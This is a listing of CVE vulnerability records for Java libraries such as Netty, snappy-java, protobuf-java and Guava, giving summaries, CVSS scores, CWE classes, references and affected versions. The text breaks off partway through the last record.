Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. The `HttpPostRequestDecoder` can be tricked to accumulate data. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits. This vulnerability is fixed in 4.1.108.Final.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/0d0c6ed782d…	x_refsource_MISC
	https://gist.github.com/vietj/f558b8ea81ec6505f1e…	x_refsource_MISC
	https://lists.debian.org/debian-lts-announce/2024…

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.108.Final

Show details on NVD website

JSON

To clipboard

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CVE-2022-41881 (GCVE-0-2022-41881)

Vulnerability from cvelistv5 – Published: 2022-12-12 00:00 – Updated: 2025-04-22 15:57

Summary

Netty project is an event-driven asynchronous network application framework. In versions prior to 4.1.86.Final, a StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion. This issue is patched in version 4.1.86.Final. There is no workaround, except using a custom HaProxyMessageDecoder.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://www.debian.org/security/2023/dsa-5316	vendor-advisory
	https://security.netapp.com/advisory/ntap-2023011…

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.86.Final

Show details on NVD website

JSON

To clipboard

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CVE-2025-53864 (GCVE-0-2025-53864)

Vulnerability from cvelistv5 – Published: 2025-07-11 00:00 – Updated: 2025-09-23 18:38

Summary

Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.

Severity ?

5.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

CWE

CWE-674 - Uncontrolled Recursion

Assigner

mitre

References

URL

Tags

	https://bitbucket.org/connect2id/nimbus-jose-jwt/…
	https://github.com/google/gson/compare/gson-paren…
	https://github.com/google/gson/commit/1039427ff01…
	https://bitbucket.org/connect2id/nimbus-jose-jwt/…
	https://bitbucket.org/connect2id/nimbus-jose-jwt/…

Impacted products

	Vendor	Product	Version
	Connect2id	Nimbus JOSE+JWT	Affected: 0 , < 10.0.2 (custom)

Show details on NVD website

JSON

To clipboard

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CVE-2025-24970 (GCVE-0-2025-24970)

Vulnerability from cvelistv5 – Published: 2025-02-10 21:57 – Updated: 2025-04-16 15:37

Title

SslHandler doesn't correctly validate packets which can lead to native crash when using native SSLEngine

Summary

Netty, an asynchronous, event-driven network application framework, has a vulnerability starting in version 4.1.91.Final and prior to version 4.1.118.Final. When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. Version 4.1.118.Final contains a patch. As workaround its possible to either disable the usage of the native SSLEngine or change the code manually.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/87f40725155…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: >= 4.1.91.Final, <= 4.1.117.Final

Show details on NVD website

JSON

To clipboard

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CVE-2023-34455 (GCVE-0-2023-34455)

Vulnerability from cvelistv5 – Published: 2023-06-15 17:15 – Updated: 2025-02-13 16:55

Title

snappy-java's unchecked chunk length leads to DoS

Summary

snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1. The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk. In the case that the `compressed` variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the `chunkSize` variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a `java.lang.NegativeArraySizeException` exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal `java.lang.OutOfMemoryError` error. Version 1.1.10.1 contains a patch for this issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

	https://github.com/xerial/snappy-java/security/ad…	x_refsource_CONFIRM
	https://github.com/xerial/snappy-java/commit/3bf6…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/05c39b…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/master…	x_refsource_MISC
	https://security.netapp.com/advisory/ntap-2023081…

Impacted products

	Vendor	Product	Version
	xerial	snappy-java	Affected: < 1.1.10.1

Show details on NVD website

JSON

To clipboard

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CVE-2024-35255 (GCVE-0-2024-35255)

Vulnerability from cvelistv5 – Published: 2024-06-11 16:59 – Updated: 2025-12-17 22:23

Title

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability

Summary

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

microsoft

References

URL

Tags

https://msrc.microsoft.com/update-guide/vulnerabi…

vendor-advisory

Impacted products

Vendor

Product

Version

Microsoft

Azure Identity Library for .NET

Affected: 1.0.0 , < 1.11.4 (custom)

Microsoft	Microsoft Authentication Library	Affected: 1.0.0 , < 1.15.1 (custom)
Microsoft	Azure Identity Library	Affected: 1.0.0 , < 1.6.0 (custom)
Microsoft	Azure Identity Library for Java	Affected: 1.0.0 , < 1.12.2 (custom)
Microsoft	Azure Identity Library for JavaScript	Affected: 1.0.0 , < 4.2.1 (custom)
Microsoft	Azure Identity Library for C++	Affected: 1.0.0 , < 1.8.0 (custom)
Microsoft	Azure Identity Library for Python	Affected: 1.0.0 , < 1.16.1 (custom)

Show details on NVD website

JSON

To clipboard

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CVE-2025-55163 (GCVE-0-2025-55163)

Vulnerability from cvelistv5 – Published: 2025-08-13 14:17 – Updated: 2025-11-04 21:13

Title

Netty MadeYouReset HTTP/2 DDoS Vulnerability

Summary

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.124.Final and 4.2.4.Final, Netty is vulnerable to MadeYouReset DDoS. This is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. This issue has been patched in versions 4.1.124.Final and 4.2.4.Final.

Severity ?

8.2 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

https://github.com/netty/netty/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.124.Final Affected: < 4.2.4.Final

Show details on NVD website

JSON

To clipboard

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CVE-2025-58057 (GCVE-0-2025-58057)

Vulnerability from cvelistv5 – Published: 2025-09-03 21:46 – Updated: 2025-09-04 19:59

Title

Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack

Summary

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

Severity ?

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CWE

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/9d804c54ce9…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: <= 4.1.124.Final, < 4.1.125.Final Affected: <= 4.2.4.Final, < 4.2.5.Final

Show details on NVD website

JSON

To clipboard

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CVE-2025-67735 (GCVE-0-2025-67735)

Vulnerability from cvelistv5 – Published: 2025-12-16 00:19 – Updated: 2025-12-16 14:26

Title

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Summary

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/netty/netty/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: >= 4.2.0.Alpha1, < 4.2.8.Final Affected: < 4.1.129.Final

Show details on NVD website

JSON

To clipboard

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CVE-2025-25193 (GCVE-0-2025-25193)

Vulnerability from cvelistv5 – Published: 2025-02-10 22:02 – Updated: 2025-02-21 18:03

Title

Denial of Service attack on windows app using Netty

Summary

Netty, an asynchronous, event-driven network application framework, has a vulnerability in versions up to and including 4.1.118.Final. An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. A similar issue was previously reported as CVE-2024-47535. This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. Commit d1fbda62d3a47835d3fb35db8bd42ecc205a5386 contains an updated fix.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/d1fbda62d3a…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: <= 4.1.118

Show details on NVD website

JSON

To clipboard

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CVE-2024-40094 (GCVE-0-2024-40094)

Vulnerability from cvelistv5 – Published: 2024-07-30 00:00 – Updated: 2024-11-20 20:13

Summary

GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

n/a

Assigner

mitre

References

URL

Tags

	https://github.com/graphql-java/graphql-java/rele…
	https://github.com/graphql-java/graphql-java/rele…
	https://github.com/graphql-java/graphql-java/rele…
	https://github.com/graphql-java/graphql-java/comm…
	https://github.com/graphql-java/graphql-java/disc…
	https://github.com/graphql-java/graphql-java/pull/3539

Show details on NVD website

JSON

To clipboard

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CVE-2023-52428 (GCVE-0-2023-52428)

Vulnerability from cvelistv5 – Published: 2024-02-11 00:00 – Updated: 2024-10-30 19:50

Summary

In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

n/a

Assigner

mitre

References

URL

Tags

	https://bitbucket.org/connect2id/nimbus-jose-jwt/…
	https://connect2id.com/products/nimbus-jose-jwt
	https://bitbucket.org/connect2id/nimbus-jose-jwt/…

Show details on NVD website

JSON

To clipboard

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CVE-2022-3171 (GCVE-0-2022-3171)

Vulnerability from cvelistv5 – Published: 2022-10-12 00:00 – Updated: 2025-04-21 13:47

Title

Memory handling vulnerability in ProtocolBuffers Java core and lite

Summary

A parsing issue with binary data in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity ?

4.3 (Medium)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-20 - Improper Input Validation

Assigner

Google

References

URL

Tags

	https://github.com/protocolbuffers/protobuf/secur…
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://security.gentoo.org/glsa/202301-09	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory

Impacted products

	Vendor	Product	Version
	Google LLC	Protocolbuffers	Affected: 3.21.7 , < 3.21.7 (custom) Affected: 3.20.3 , < 3.20.3 (custom) Affected: 3.19.6 , < 3.19.6 (custom) Affected: 3.16.3 , < 3.16.3 (custom)

Show details on NVD website

JSON

To clipboard

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CVE-2023-34454 (GCVE-0-2023-34454)

Vulnerability from cvelistv5 – Published: 2023-06-15 16:27 – Updated: 2024-12-12 16:25

Title

snappy-java's Integer Overflow vulnerability in compress leads to DoS

Summary

snappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing an unrecoverable fatal error. The function `compress(char[] input)` in the file `Snappy.java` receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress` function. Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array. Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a `java.lang.NegativeArraySizeException` exception will be raised while trying to allocate the array `buf`. On the other side, if the result is positive, the `buf` array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error. The same issue exists also when using the `compress` functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place. Version 1.1.10.1 contains a patch for this issue.

Severity ?

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M

References

URL

Tags

	https://github.com/xerial/snappy-java/security/ad…	x_refsource_CONFIRM
	https://github.com/xerial/snappy-java/commit/d004…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/05c39b…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/05c39b…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/master…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	xerial	snappy-java	Affected: < 1.1.10.1

Show details on NVD website

JSON

To clipboard

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CVE-2024-25638 (GCVE-0-2024-25638)

Vulnerability from cvelistv5 – Published: 2024-07-22 14:05 – Updated: 2025-07-24 03:55

Title

DNSJava DNSSEC Bypass

Summary

dnsjava is an implementation of DNS in Java. Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. This vulnerability is fixed in 3.6.0.

Severity ?

8.9 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-349 - Acceptance of Extraneous Untrusted Data With Trusted Data

Assigner

GitHub_M

References

URL

Tags

	https://github.com/dnsjava/dnsjava/security/advis…	x_refsource_CONFIRM
	https://github.com/dnsjava/dnsjava/commit/2073a0c…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	dnsjava	dnsjava	Affected: < 3.6.0

Show details on NVD website

JSON

To clipboard

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          ]
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            }
          ]
        }
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CVE-2024-6763 (GCVE-0-2024-6763)

Vulnerability from cvelistv5 – Published: 2024-10-14 15:06 – Updated: 2025-03-07 00:10

Title

Jetty URI parsing of invalid authority

Summary

Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing. The HttpURI class does insufficient validation on the authority segment of a URI. However the behaviour of HttpURI differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically HttpURI and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.

Severity ?

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-1286

Assigner

eclipse

References

URL

Tags

	https://github.com/jetty/jetty.project/security/a…
	https://gitlab.eclipse.org/security/cve-assigneme…
	https://github.com/jetty/jetty.project/pull/12012

Impacted products

	Vendor	Product	Version
	Eclipse Foundation	Jetty	Affected: 7.0.0 , ≤ 12.0.11 (semver)

Credits

https://github.com/zer0yu

Show details on NVD website

JSON

To clipboard

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CVE-2024-47535 (GCVE-0-2024-47535)

Vulnerability from cvelistv5 – Published: 2024-11-12 15:50 – Updated: 2024-11-13 20:44

Title

Denial of Service attack on windows app using Netty

Summary

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crashes. This vulnerability is fixed in 4.1.115.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/fbf7a704a82…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.115

Show details on NVD website

JSON

To clipboard

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CVE-2024-12801 (GCVE-0-2024-12801)

Vulnerability from cvelistv5 – Published: 2024-12-19 16:11 – Updated: 2025-01-03 13:40

Title

SaxEventRecorder vulnerable to Server-Side Request Forgery (SSRF) attacks

Summary

Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. The attacks involves the modification of DOCTYPE declaration in XML configuration files.

Severity ?

2.4 (Low)


                        
                          CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

NCSC.ch

References

URL

Tags

	https://logback.qos.ch/news.html#1.5.13
	https://logback.qos.ch/news.html#1.3.15

Impacted products

	Vendor	Product	Version
	QOS.CH Sarl	logback	Affected: 0.1 , ≤ 1.3.14 (maven) Affected: 1.4.0 , ≤ 1.5.12 (maven) Unaffected: 1.3.15 Unaffected: 1.5.13

Credits

7asecurity

Show details on NVD website

JSON

To clipboard

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CVE-2022-3509 (GCVE-0-2022-3509)

Vulnerability from cvelistv5 – Published: 2022-11-01 18:09 – Updated: 2025-04-22 15:10

Title

Parsing issue in protobuf textformat

Summary

A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

n/a

Assigner

Google

References

URL

Tags

https://github.com/protocolbuffers/protobuf/commi…

Impacted products

	Vendor	Product	Version
	Google	ProtocolBuffers	Affected: 3.21.0 , < 3.21.7 (semver) Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver)

Show details on NVD website

JSON

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CVE-2024-27137 (GCVE-0-2024-27137)

Vulnerability from cvelistv5 – Published: 2025-02-04 10:19 – Updated: 2025-02-15 00:10

Title

Apache Cassandra: unrestricted deserialization of JMX authentication credentials

Summary

In Apache Cassandra it is possible for a local attacker without access to the Apache Cassandra process or configuration files to manipulate the RMI registry to perform a man-in-the-middle attack and capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and perform unauthorized operations. This is same vulnerability that CVE-2020-13946 was issued for, but the Java option was changed in JDK10. This issue affects Apache Cassandra from 4.0.2 through 5.0.2 running Java 11. Operators are recommended to upgrade to a release equal to or later than 4.0.15, 4.1.8, or 5.0.3 which fixes the issue.

Severity ?

No CVSS data available.

CWE

Unrestricted deserialization of JMX authentication credentials

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/jsk87d9yv8r204mgq…

vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache Cassandra	Affected: 4.0.2 , < 4.0.15 (semver) Affected: 4.1.0 , < 4.1.8 (semver) Affected: 5.0-beta1 , < 5.0.3 (semver)

Show details on NVD website

JSON

To clipboard

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CVE-2020-8908 (GCVE-0-2020-8908)

Vulnerability from cvelistv5 – Published: 2020-12-10 22:10 – Updated: 2024-08-04 10:12

Title

Temp directory permission issue in Guava

Summary

A temp directory creation vulnerability exists in all versions of Guava, allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava API com.google.common.io.Files.createTempDir(). By default, on unix-like systems, the created directory is world-readable (readable by an attacker with access to the system). The method in question has been marked @Deprecated in versions 30.0 and later and should not be used. For Android developers, we recommend choosing a temporary directory API provided by Android, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.

Severity ?

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-378 - Creation of Temporary File With Insecure Permissions

Assigner

Google

References

URL

Tags

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	https://www.oracle.com/security-alerts/cpuapr2022.html	x_refsource_MISC
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Impacted products

	Vendor	Product	Version
	Google LLC	Guava	Affected: 1.0 , < 32.0 (custom)

Credits

Jonathan Leitschuh

Show details on NVD website

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To clipboard

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          "name": "[pulsar-commits] 20210406 [GitHub] [pulsar] lhotari opened a new pull request #10149: Upgrade jclouds to 2.3.0 to fix security vulnerabilities",
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          "name": "[drill-dev] 20210619 [GitHub] [drill] luocooong commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
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          "name": "[hadoop-common-issues] 20211018 [GitHub] [hadoop] lujiefsi opened a new pull request #3561: Yarn 10980",
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              "name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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              "name": "[db-torque-dev] 20210127 Re: Items for our (delayed) quarterly report to the board?",
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              "url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
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              "url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
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            {
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              "name": "[drill-dev] 20210618 [GitHub] [drill] ssainz commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14@%3Cdev.drill.apache.org%3E"
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              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r6874dfe26eefc41b7c9a5e4a0487846fc4accf8c78ff948b24a1104a@%3Cdev.drill.apache.org%3E"
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              "name": "[drill-dev] 20210619 [GitHub] [drill] luocooong commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
              "refsource": "MLIST",
              "url": "https://lists.apache.org/thread.html/r161b87f8037bbaff400194a63cd2016c9a69f5949f06dcc79beeab54@%3Cdev.drill.apache.org%3E"
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CVE-2024-21634 (GCVE-0-2024-21634)

Vulnerability from cvelistv5 – Published: 2024-01-03 22:46 – Updated: 2025-11-03 21:53

Title

Ion Java StackOverflow vulnerability

Summary

Amazon Ion is a Java implementation of the Ion data notation. Prior to version 1.10.5, a potential denial-of-service issue exists in `ion-java` for applications that use `ion-java` to deserialize Ion text encoded data, or deserialize Ion text or binary encoded data into the `IonValue` model and then invoke certain `IonValue` methods on that in-memory representation. An actor could craft Ion data that, when loaded by the affected application and/or processed using the `IonValue` model, results in a `StackOverflowError` originating from the `ion-java` library. The patch is included in `ion-java` 1.10.5. As a workaround, do not load data which originated from an untrusted source or that could have been tampered with.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

https://github.com/amazon-ion/ion-java/security/a…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	amazon-ion	ion-java	Affected: < 1.10.5

Show details on NVD website

JSON

To clipboard

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CVE-2025-46392 (GCVE-0-2025-46392)

Vulnerability from cvelistv5 – Published: 2025-05-09 09:34 – Updated: 2025-05-13 19:15

Title

Apache Commons Configuration: Uncontrolled Resource Consumption when loading untrusted configurations in 1.x

Summary

Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x. There are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenario's where you only load trusted configurations. Users that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.

Severity ?

No CVSS data available.

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

apache

References

URL

Tags

	https://www.cve.org/CVERecord?id=CVE-2024-29131	related
	https://www.cve.org/CVERecord?id=CVE-2024-29133	related
	https://lists.apache.org/thread/y1pl0mn3opz6kwkm8…	vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache Commons Configuration	Affected: 1 , < 2.0.0 (semver)

Show details on NVD website

JSON

To clipboard

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CVE-2021-41973 (GCVE-0-2021-41973)

Vulnerability from cvelistv5 – Published: 2021-11-01 08:35 – Updated: 2024-08-04 03:22

Title

Apache MINA HTTP listener DOS

Summary

In Apache MINA, a specifically crafted, malformed HTTP request may cause the HTTP Header decoder to loop indefinitely. The decoder assumed that the HTTP Header begins at the beginning of the buffer and loops if there is more data than expected. Please update MINA to 2.1.5 or greater.

Severity ?

No CVSS data available.

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

apache

References

URL

Tags

	https://lists.apache.org/thread.html/r0b907da9340…	x_refsource_MISC
	http://www.openwall.com/lists/oss-security/2021/11/01/2	mailing-listx_refsource_MLIST
	http://www.openwall.com/lists/oss-security/2021/11/01/8	mailing-listx_refsource_MLIST
	https://www.oracle.com/security-alerts/cpuapr2022.html	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache MINA	Affected: Apache MINA , < 2.1.5 (custom)

Show details on NVD website

JSON

To clipboard

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CVE-2025-58056 (GCVE-0-2025-58056)

Vulnerability from cvelistv5 – Published: 2025-09-03 20:56 – Updated: 2025-09-05 18:41

Title

Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions

Summary

Netty is an asynchronous event-driven network application framework for development of maintainable high performance protocol servers and clients. In versions 4.1.124.Final, and 4.2.0.Alpha3 through 4.2.4.Final, Netty incorrectly accepts standalone newline characters (LF) as a chunk-size line terminator, regardless of a preceding carriage return (CR), instead of requiring CRLF per HTTP/1.1 standards. When combined with reverse proxies that parse LF differently (treating it as part of the chunk extension), attackers can craft requests that the proxy sees as one request but Netty processes as two, enabling request smuggling attacks. This is fixed in versions 4.1.125.Final and 4.2.5.Final.

Severity ?

2.9 (Low)


                        
